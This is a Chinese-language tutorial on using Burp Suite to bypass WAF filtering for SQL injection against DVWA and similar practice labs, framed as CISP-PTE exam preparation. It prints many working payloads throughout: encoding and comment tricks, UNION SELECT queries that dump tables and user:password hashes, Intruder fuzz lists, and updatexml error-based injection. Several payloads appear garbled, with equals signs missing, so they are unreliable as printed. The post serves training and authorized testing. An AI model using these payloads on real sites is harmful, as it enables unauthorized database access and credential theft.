Burp Suite实战:绕过WAF的SQL注入攻防演练与CISP-PTE技巧

发布时间:2026/7/4 13:52:31
Burp Suite实战:绕过WAF的SQL注入攻防演练与CISP-PTE技巧 1. 项目概述一次完整的SQL注入攻防演练看到这个标题很多刚入门网络安全的朋友可能会觉得既兴奋又有点无从下手。SQL注入这个在OWASP Top 10榜单上常年霸榜的经典漏洞几乎是每个渗透测试工程师和红队成员的“必修课”。但现实情况是现在稍微有点规模的网站前面都杵着一个WAFWeb应用防火墙你直接扔个‘ or 11--上去大概率只会收到一个冷冰冰的“非法请求”拦截页面。这感觉就像你刚学会了一套拳法准备大展身手却发现对手穿上了全身盔甲。我干了十多年渗透测试带过不少新人也参与过CISP-PTE这类认证的考前辅导。我发现一个普遍问题很多朋友学SQL注入就是背payload、刷靶场一旦遇到真实环境或者加了WAF的靶场立刻就懵了。他们知道要“绕过”但不知道“为什么能绕过”以及“怎么系统地绕”。所以今天我就想结合Burp Suite这个渗透测试的“瑞士军刀”从头到尾拆解一遍如何像外科手术一样一步步解剖一个有WAF防护的目标完成一次有效的SQL注入。这个过程本身也是CISP-PTE等实操考试中核心能力的体现——不是比谁记得payload多而是比谁的分析思路更清晰工具用得更有章法。简单来说这次我们要做的就是模拟一个真实攻击者的思考路径从最基础的信息探测开始判断注入点类型然后面对WAF的拦截规则利用各种技巧比如特殊字符变形、编码混淆、逻辑等价替换去试探和绕过最终拿到我们想要的数据。Burp Suite会在整个过程中扮演核心角色它不仅是抓包改包的工具更是我们分析HTTP请求、自动化探测漏洞的“大脑”。我会把每个步骤背后的原理、为什么这么操作、以及我踩过的那些坑都掰开揉碎了讲清楚。无论你是想扎实掌握SQL注入实战还是为CISP-PTE考试做准备这篇内容都能给你提供一条清晰的路径。2. 核心思路绕过WAF的本质是“欺骗”与“试探”在开始动手之前我们必须把思路理清楚。很多人一上来就急着打开Burp Suite狂发payload这是效率最低的做法。绕过WAF进行SQL注入本质上是一场“规则对抗游戏”。WAF内置了一系列正则表达式或语义分析规则用来匹配常见的攻击特征。我们的目标就是让我们的payload“看起来”不像攻击。2.1 理解WAF的检测逻辑WAF不是神它的检测主要基于几点关键词匹配这是最基础的。像UNION SELECT,OR 11,sleep(),information_schema这些字符串一旦在请求参数中出现就可能被直接拦截。特殊字符频率与组合单引号‘、双引号“、注释符--、/**/等如果出现的数量、位置或组合方式异常也会触发警报。语法/语义分析高级一点的WAF会尝试解析SQL语句的语法结构。比如它发现你的输入拼接进SQL后产生了永远为真的条件如or 11即使你没有用敏感词也可能被拦截。行为异常检测短时间内大量发送带有相似攻击特征的请求会被认为是扫描或爆破行为。所以我们的绕过思路就对应产生了针对关键词匹配变形、分割、编码。把UNION SELECT写成UNI/**/ON SEL/**/ECT或者用URL编码、十六进制编码、Unicode编码等方式处理敏感词。针对特殊字符寻找等价替换。比如用代替AND在某些数据库如MySQL中用||代替OR或者用like、rlike等操作符进行模糊匹配来替代等号。针对语法分析构造合法但有害的语句。利用数据库特性比如MySQL的/*!50000select*/这种内联注释在特定版本下会被执行但WAF可能不将其识别为select关键字。针对行为异常降低请求频率加入随机延迟变换User-Agent等请求头模拟正常用户行为。2.2 工具选型为什么是Burp Suite市面上能抓包改包的工具很多为什么首选Burp Suite因为它提供了一个完整的“攻击面管理”工作流。从目标探测Target到请求拦截与修改Proxy再到自动化扫描与漏洞验证Scanner, Intruder最后到手动深入利用Repeater它形成了一条闭环。对于SQL注入绕过这种需要大量手动调试和模糊测试的场景Burp Suite的Repeater中继器和Intruder入侵者模块是不可替代的。Repeater相当于你的手工测试工作台。你可以把一个HTTP请求发送到这里然后随意修改参数一次次地重放并即时观察响应。在绕过WAF时你需要反复微调payload观察WAF是拦截、放行还是返回了不同的错误信息Repeater是完成这个“试探-反馈”循环的最佳场所。Intruder当你需要系统性地测试大量payload变体时比如测试上百种编码方式手动在Repeater里改会累死。Intruder可以自动化这个过程。你可以标记出要爆破的位置比如一个参数值然后加载一个包含各种绕过payload的字典让它自动发送请求并记录结果。通过筛选响应长度、状态码或关键词快速找出被WAF放行的payload。我的实操心得新手常犯的一个错误是过度依赖自动化扫描器如Burp的Active Scan。对于有WAF的环境主动扫描的payload往往很“标准”极易被拦截而且会产生大量告警日志。手动、低速、有策略的探测才是绕过WAF的王道。Burp Suite在这里的价值是放大你手动测试的效率而不是替代你的思考。3. 实战环境搭建与基础信息收集“工欲善其事必先利其器”。在开始真正的攻击之前我们需要一个安全的练习环境并把Burp Suite配置好。3.1 靶场选择与配置绝对不要在未经授权的真实网站上进行测试那是违法的。我们需要本地或可控的漏洞靶场。根据热搜词几个优秀的选择是DVWA (Damn Vulnerable Web Application)非常适合新手。它提供了从低到高Low, Medium, High, Impossible的安全等级你可以直观地看到不同防护级别下代码的变化以及WAF模拟规则是如何逐步加强的。Pikachu一个中文的漏洞练习平台覆盖了各种类型的SQL注入数字型、字符型、搜索型、xx型、盲注等题目设计更贴近国内CTF比赛和教学场景。sqli-labs专注于SQL注入的经典靶场关卡设计由浅入深是系统化学习注入技巧的绝佳选择。这里我以DVWA为例并将其安全级别设置为High。High级别通常会模拟一些基础的过滤和检查机制类似于一个简易的WAF非常适合我们做绕过练习。3.2 Burp Suite基础配置浏览器代理设置让你的浏览器以Chrome为例流量经过Burp Suite。在Burp中Proxy-Options确保代理监听在127.0.0.1:8080。然后在浏览器网络设置中配置手动代理为相同地址。安装CA证书为了拦截和解密HTTPS流量需要在浏览器中安装Burp Suite生成的CA证书。访问http://burp下载证书并导入到浏览器的证书管理机构。关键模块准备Proxy确保Intercept is on这样你就能在浏览器访问DVWA时在Burp中看到HTTP请求。Target将你的靶场地址如http://192.168.1.100/dvwa添加到目标作用域Scope方便后续过滤流量。Repeater和Intruder待会儿是我们的主战场。注意事项很多朋友找“Burp Suite专业汉化版”或“注册码”这里我强烈建议学习阶段请使用官方免费版Community Edition。免费版的功能对于学习SQL注入、手动测试来说已经完全足够Repeater, Intruder, Scanner的基础功能都有。使用破解版或来路不明的汉化版可能引入安全风险或稳定性问题。英文界面并不复杂常用单词就那几个熟悉了反而更高效。3.3 初步探测与注入点识别配置好后我们访问DVWA的SQL Injection页面。在输入框随便输入一个ID比如1点击提交。拦截请求在Burp的Proxy模块你会看到拦截到的GET请求类似GET /dvwa/vulnerabilities/sqli/?id1SubmitSubmit HTTP/1.1发送到Repeater右键点击这个请求选择Send to Repeater。现在我们可以在Repeater里安全地“玩弄”这个id参数了。基础注入测试首先我们得确认这里是否存在注入点以及是什么类型。在Repeater里把id1改成id1‘数字后加一个单引号点击Send。观察返回页面。如果页面返回了数据库错误信息如You have an error in your SQL syntax...那太好了说明存在SQL注入漏洞并且可能是字符型注入因为单引号破坏了语法。如果页面正常返回了ID为1的用户信息或者返回了一个空白/错误页但没有SQL报错那可能是数字型注入或者有某种过滤。我们可以再测试id1 and 11和id1 and 12。如果前者正常返回后者返回异常无数据或错误则基本确认是数字型注入。假设我们测试id1‘时返回了一个非常友好的错误页面并且页面顶部出现了类似“Security Alert: Illegal input detected!”的警告。这很可能就是DVWA在High级别下模拟的WAF生效了它检测到了单引号这个危险字符。我们的战斗现在才真正开始。4. 手把手绕过从字符型注入到数据获取现在我们面对一个会拦截单引号的“WAF”。我们的目标是利用这个注入点最终获取数据库中的用户表数据。4.1 第一关绕过单引号检测既然直接的单引号‘被拦我们就要想办法让它“隐形”。方法一URL编码单引号的URL编码是%27。在Repeater中把id1‘改成id1%27发送。有时候WAF只检查原始字符不检查解码后的内容。如果成功绕过你会看到SQL报错信息。方法二双重URL编码如果%27也被识别了怎么办我们可以对%27再进行一次编码。%的URL编码是%25所以%27双重编码后是%2527。尝试id1%2527。方法三使用十六进制或Unicode编码在MySQL中字符串可以用十六进制表示。‘的十六进制是0x27。我们可以尝试用id1 0x27注意空格或者更常见的在注入字符串部分使用十六进制。例如如果我们想注入‘ or ‘1’’1可以尝试将其整体转换为十六进制。但这里我们只是测试引号可以更简单。方法四寻找替代字符在某些数据库上下文或特定过滤规则下可以用其他字符“闭合”语句。比如如果原SQL是‘$input‘我们输入1‘闭合后是‘1‘‘多了一个引号。如果我们输入1\‘可能变成‘1\‘‘反斜杠转义了后面的引号导致后面的引号成了字符串的一部分从而改变了逻辑。这需要尝试。实操心得不要盲目尝试所有方法。先试最简单的URL编码。如果不行观察返回信息。如果返回的是统一的“非法输入”页面说明是关键词/字符黑名单机制。如果返回的是不同的错误比如有时是WAF拦截页有时是数据库错误页说明你的某个payload可能部分绕过了检测触发了数据库查询。后者是更积极的信号要重点分析那个“半成功”的payload。假设我们尝试id1%27后看到了熟悉的MySQL语法错误。恭喜我们绕过了对单引号的直接检测。4.2 第二关探测过滤规则与构造有效Payload现在我们知道%27可以代表单引号。接下来我们要测试其他SQL关键词是否被过滤。步骤使用逻辑测试构造一个永真条件id1%27or%271%27%271这里在URL中代表空格Burp里也可以用%20。这个payload的意思是id‘1‘ or ‘1‘‘1‘应该返回所有数据。发送请求。如果被拦截说明or、或空格可能被过滤了。如果被拦截我们开始变形替换or尝试||逻辑或。Payload:id1%27||%271%27%271替换空格尝试注释符/**/。Payload:id1%27/**/or/**/%271%27%271替换尝试like。Payload:id1%27or%271%27like%271%27大小写混合尝试Or,oR,OR。内联注释MySQL特有尝试id1%27/*!50000or*/%271%27%271。/*!50000...*/在MySQL中当版本号大于等于5.00.00时其中的内容会被执行。通过反复测试我们可能发现or和空格一起出现会被拦截但使用||和/**/可以绕过。那么我们的基础绕过语法就确定了用||代替or用/**/代替空格。4.3 第三关联合查询UNION SELECT的绕过获取数据最常用的方式是联合查询。但UNION SELECT是WAF的重点关照对象。绕过策略分割关键词UNION SELECT-UNI/**/ON/**/SEL/**/ECT结合编码对部分字符进行URL编码。例如UNI%4f%4e%20SEL%45CT这里对ON和ECT的字母进行了十六进制编码但%20是空格可能被拦可以换成/**/。使用非常规语法在MySQL中UNION和SELECT之间可以不加空格吗不可以但可以用注释符。也可以尝试UNIONSELECT用括号紧贴。分步测试先测试UNION能否单独通过再测试SELECT。有时候WAF的规则是组合规则。假设我们最终找到的有效payload格式是UNI/**/ON/**/SEL/**/ECT。确定列数 使用order by或group by子句。因为order by也可能被过滤我们可以用其等价形式或注释分割。例如id1%27/**/order/**/by/**/3----是注释符将后面的SQL语句注释掉。代表空格确保注释符生效。如果order by 3返回正常order by 4返回错误说明当前查询有3列。实施联合查询 知道了列数假设为3我们就可以构造联合查询来获取信息了。例如获取当前数据库和用户id-1%27/**/UNI/**/ON/**/SEL/**/ECT/**/1,database(),user()--注意这里把原id值设为-1或一个不存在的值是为了让前一个SELECT不返回数据从而确保页面显示的是我们UNION SELECT的结果。4.4 第四关获取表名、列名与数据这是最后一步也是信息量最大的一步。需要查询information_schema数据库这里面的tables表和columns表是WAF的超级重点监控对象。高级绕过技巧别名与重命名from information_schema.tables可以写成from information_schema.tables a。反引号在MySQL中用反引号包裹数据库名、表名、列名可以避免一些解析问题有时也能绕过简单的字符串匹配。select table_name frominformation_schema.tables。等价替换information_schema.tables在某些情况下可以用mysql.innodb_table_stats等替代来获取表名但这不通用。最可靠的还是想办法绕过对information_schema的检测。分段获取不要企图一次SELECT就拿到所有表名。先获取一个表名再根据这个表名去获取它的列名。这样可以构造更短、特征更不明显的payload。使用concat和group_concat为了在一个字段里显示更多信息减少请求次数。例如一次性获取所有表名select group_concat(table_name) from information_schema.tables where table_schemadatabase()。但group_concat本身也是个敏感词。Hex编码将我们要查询的关键词进行十六进制编码。例如information_schema的十六进制是0x696e666f726d6174696f6e5f736368656d61。那么查询可以写成UNI/**/ON/**/SEL/**/ECT/**/1,table_name,3/**/from/**/(select/**/table_name/**/from/**/0x696e666f726d6174696f6e5f736368656d61.tables/**/where/**/table_schemadatabase()/**/limit/**/0,1)a--这里我们把information_schema直接替换成了它的十六进制形式完全避免了字符串的出现。实战流程示例假设我们已经可以执行UNION SELECT并且确定了绕过information_schema的方法比如用十六进制。获取当前数据库的表名id-1%27/**/UNI/**/ON/**/SEL/**/ECT/**/1,(select/**/group_concat(table_name)/**/from/**/0x696e666f726d6174696f6e5f736368656d61.tables/**/where/**/table_schemadatabase()),3--返回结果可能是guestbook,users。获取目标表如users的列名id-1%27/**/UNI/**/ON/**/SEL/**/ECT/**/1,(select/**/group_concat(column_name)/**/from/**/0x696e666f726d7261.columns/**/where/**/table_name0x7573657273),3--注意这里information_schema.columns也用了十六进制users表名也转成了十六进制0x7573657273。返回结果可能是user_id,first_name,last_name,user,password,avatar。最终提取数据id-1%27/**/UNI/**/ON/**/SEL/**/ECT/**/1,concat(user,0x3a,password),3/**/from/**/users--这里0x3a是冒号:的十六进制用于分隔用户名和密码。返回结果就是梦寐以求的admin:5f4dcc3b5aa765d61d8327deb882cf99经过MD5哈希的密码之类的数据了。5. 利用Burp Suite Intruder进行自动化模糊测试手动在Repeater里修改测试虽然精准但效率低。当我们不确定哪个关键词被过滤或者需要测试大量编码变体时Intruder就派上用场了。场景我们想知道union select这个短语用什么方式分割能绕过WAF。操作步骤在Repeater中构造一个基础的、包含注入点的请求例如id1%27 UNION SELECT 1,2,3--但此时UNION SELECT可能被拦。右键选择Send to Intruder。在Intruder的Positions标签页清除所有自动标记的变量Clear §然后手动选中UNION SELECT这部分点击Add §。这样就把UNION SELECT标记为我们要爆破的位置。切换到Payloads标签页。我们需要一个payload字典。可以手动添加也可以使用Burp自带的“Fuzzing - SQL Injection”字典或者自己用脚本生成一个。这里我们手动添加一些常见变体UNI/**/ON SEL/**/ECTUNI%4f%4e%20SEL%45CT/*!50000union*/selectUnIoN SeLeCtunion%0aselect%0a是换行符union%09select%09是制表符union all select用all分割在Options标签页可以设置请求间隔如100毫秒以避免触发频率警报。点击Start attack。Intruder会使用列表中的每一个payload替换原位置并发送请求。攻击完成后观察结果。关键看“Length”列和“Status”列。如果某个payload的响应长度与其他被拦截的请求可能都是统一的错误页长度明显不同或者状态码不同比如别的都是403它是200那么这个payload很可能成功绕过了检测。双击这个请求查看响应内容确认是否出现了我们期望的UNION SELECT结果比如显示了数字2和3。通过Intruder我们可以系统性地测试大量绕过技巧快速定位有效的payload格式极大提升效率。6. CISP-PTE考试相关技巧与实战注意事项CISP-PTE等实操认证考试非常注重流程的规范性和思考的逻辑性。SQL注入绕过是常考考点。结合上面的实战我分享几点备考和应试心得流程大于技巧考试时一定要展现出完整的测试流程。即使你一眼就看出了漏洞也要按部就班地演示① 正常请求② 单引号/永真永假测试确认注入点与类型③ 测试WAF/过滤规则尝试编码、替换运算符④ 确定列数⑤ 实施联合查询获取信息。考官想看的是你的方法论而不只是最终结果。善用工具但别依赖工具考试环境通常允许使用Burp Suite等工具。要熟练使用Repeater和Intruder。但要知道高级WAF可能拦截Intruder的快速请求。手动、低速的Repeater测试往往更可靠。要展示你如何分析响应调整payload。理解错误信息无论是数据库报错、WAF拦截页还是普通的404/500错误都要能解读其含义。一个详细的SQL语法错误能告诉你闭合方式、数据库类型等信息这是黄金线索。准备自己的“武器库”提前整理好一个文本文件里面分类存放各种绕过payload比如空格绕过/**/,%0a,%0d,%09,%0b,%a0关键词分割SEL任意字符ECT利用注释/*!50000select*/编码方式URL编码、双重URL编码、十六进制编码、Unicode编码等价替换forAND,||forOR,like/rlikefor,for!考试时可以直接复制粘贴节省时间。注意时间管理实操考试时间有限。如果在一个点上卡住超过10分钟不妨先记录下当前进展跳过去做其他题目。有时候回头再看或者在做其他题目的过程中可能会获得新的灵感。文档记录养成随手在Burp Suite的Notes功能或记事本里记录有效payload和对应响应的习惯。这在考试汇报和日常工作中都非常重要。7. 常见问题与排查技巧实录在实际操作中你肯定会遇到各种意想不到的情况。下面是我总结的一些典型问题及解决思路问题现象可能原因排查思路与解决方案发送任何带有特殊字符如‘的请求都返回相同的“非法输入”页面。WAF启用了非常严格的关键词/字符黑名单或者请求直接被前置的IPS/IDS设备阻断。1.降低攻击特征尝试使用最普通的数字、字母参数确认服务是否正常响应。2.变换HTTP方法GET被拦尝试POST如果功能支持。3.修改HTTP头添加或修改一些头部如X-Forwarded-For: 127.0.0.1,Referer: 同源地址有些WAF对头部检查较松。4.尝试参数污染提交多个同名参数如id1id2‘不同服务器解析方式不同可能绕过。部分payload能触发数据库错误但一到UNION SELECT就又被拦截。WAF有针对UNION、SELECT等关键字的独立或组合规则。1.系统化测试用Intruder分别测试UNION和SELECT的绕过再测试组合。2.尝试非联合查询注入如果UNION实在绕不过考虑使用报错注入或盲注。报错注入利用extractvalue(),updatexml()等函数盲注则通过页面真/假响应差异来推断数据。这通常是CISP-PTE考试的高级考点。在本地DVWA成功但换一个靶场如Pikachu同样的方法失效。不同靶场模拟的过滤规则、数据库类型MySQL, SQL Server, PostgreSQL等、代码逻辑不同。1.重新判断注入类型从头开始用‘,“,)‘等测试闭合方式。2.识别数据库通过错误信息、版本函数如version,version()判断数据库类型不同数据库的语法和函数有差异。3.调整绕过策略SQL Server常用--注释MySQL用#或--字符串拼接函数也不同。Intruder攻击结果中所有响应长度都差不多无法区分。WAF可能返回了自定义的错误页但状态码是200或者无论是否拦截返回的页面大小都经过处理。1.观察响应内容不要只看长度要双击查看每个响应的HTML源码。寻找细微差别比如错误信息的措辞、某个隐藏标签的存在与否。2.使用Grep Match在Intruder的Options-Grep - Match中设置一个成功时页面会出现的字符串如“Surname”让Intruder自动标记出来。3.检查响应时间有时盲注成功与否会导致响应时间有细微差异如果使用了时间延迟函数如sleep()。明明有SQL报错但information_schema被过滤得死死的。目标系统可能权限不足或者information_schema被重命名、禁用较少见更可能是WAF规则很强。1.尝试其他系统表MySQL 5.7可以尝试sys.schema_table_statistics。但这不是通用解。2.深入利用报错注入如果报错信息能回显数据可以不用查information_schema。例如and updatexml(1,concat(0x7e,(select database()),0x7e),1)可以直接在报错信息中爆出数据库名。然后通过无列名注入技术在不知道列名的情况下查询数据这需要更高级的技巧如利用子查询和别名。最后我想说SQL注入绕过是一门“手艺活”没有一成不变的银弹。它考验的是你对HTTP协议、SQL语法、数据库特性、WAF工作原理的综合理解以及耐心和创造力。最好的学习方法就是在DVWA、Pikachu、sqli-labs这些靶场里把安全级别调到最高亲手去触发每一次拦截然后思考如何突破它。每一次成功的绕过都会让你对这门技术的理解加深一分。Burp Suite是你手中的利器但真正强大的是使用它的大脑。